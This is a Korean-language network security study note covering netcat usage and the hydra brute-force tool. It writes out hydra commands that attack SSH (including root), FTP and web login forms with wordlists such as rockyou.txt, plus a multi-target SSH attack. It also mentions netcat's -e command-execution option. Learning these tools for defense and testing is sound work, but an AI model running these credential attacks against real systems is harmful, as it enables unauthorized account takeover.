네트워크 보안 이론 7
netcat
netcat
은 네트워크 디버깅 및 조사에 널리 사용되는 유틸리티로, TCP 및 UDP 프로토콜을 이용하여 원격 장치와의 데이터 전송이 가능- 주로 네트워크 연결 확인, 포트 스캔, 간단한 서버 또는 클라이언트 기능으로 사용됨
- 기본 사용법:
- 서버:
nc -l -p <포트>
- 클라이언트:
nc <IP 주소> <포트>
- 유용한 옵션:
-z
: 포트 스캔을 위한 “zero-I/O” 모드로, 연결 확인만 수행-v
: 상세 출력 모드-w
: 대기 시간을 지정하여 특정 시간 이후 연결 종료-u
: UDP 모드로 전환-e
: 명령어 실행 (보안상의 이유로 일부 시스템에서는 제한)
hydra
hydra
는 다양한 네트워크 서비스에 대한 무작위 대입(Brute Force) 공격을 통해 계정 정보를 추출할 수 있는 도구- 여러 프로토콜을 지원하며, 주로 패스워드 크래킹에 사용됩니다.
- Hydra 사용 예시
- SSH 서버 무작위 대입 공격
1
hydra -l root -x 4:8:abcdefghij 10.10.10.4 ssh
-l
: 사용자 이름 지정 (여기서는 root)-x 4:8
: 길이 4~8의 비밀번호를 소문자로 조합하여 무작위 생성ssh
: 공격 대상 서비스 지정
- FTP 사전 공격
1
hydra -l admin -P password_list.txt ftp://10.10.10.4
-l admin
: 사용자 이름 지정-P password_list.txt
: 비밀번호 리스트 지정ftp://10.10.10.4
: FTP 서버의 IP 주소 지정
- HTTP GET 요청을 통한 무작위 대입 (비효율적)
1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-get-form "/login.php:username=^USER^&password=^PASS^:Login failed"
http-get-form
: GET 요청을 사용하여 웹 로그인 페이지 공격^USER^
및^PASS^
: 사용자 및 비밀번호 자리에 사용할 값
- HTTP POST 요청을 통한 무작위 대입 (비효율적)
1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"
http-post-form
: POST 요청을 사용하여 웹 로그인 페이지 공격
- SSH 다중 대상 공격
1
hydra -L user_list.txt -P password_list.txt -M target_list.txt ssh
-L user_list.txt
: 사용자 이름 목록 파일-P password_list.txt
: 비밀번호 목록 파일-M target_list.txt
: 대상 서버 목록
- Hydra 주요 옵션
-l LOGIN
또는-L FILE
: 사용자 이름 또는 사용자 이름 목록 지정-p PASS
또는-P FILE
: 비밀번호 또는 비밀번호 목록 지정-C FILE
: 사용자 이름과 비밀번호 조합 목록 파일-t TASKS
: 동시에 실행할 작업 수 (기본: 16)-w TIME
: 각 연결 시도 사이의 대기 시간 (초 단위)-v
/-V
/-d
: 자세한 정보 / 각 시도 결과 표시 / 디버그 모드-s PORT
: 포트 번호 지정-M FILE
: 대상 서버 목록 파일 지정service://server[:PORT][/OPT]
: 서비스 및 서버 주소 (예:ftp://192.168.0.1
)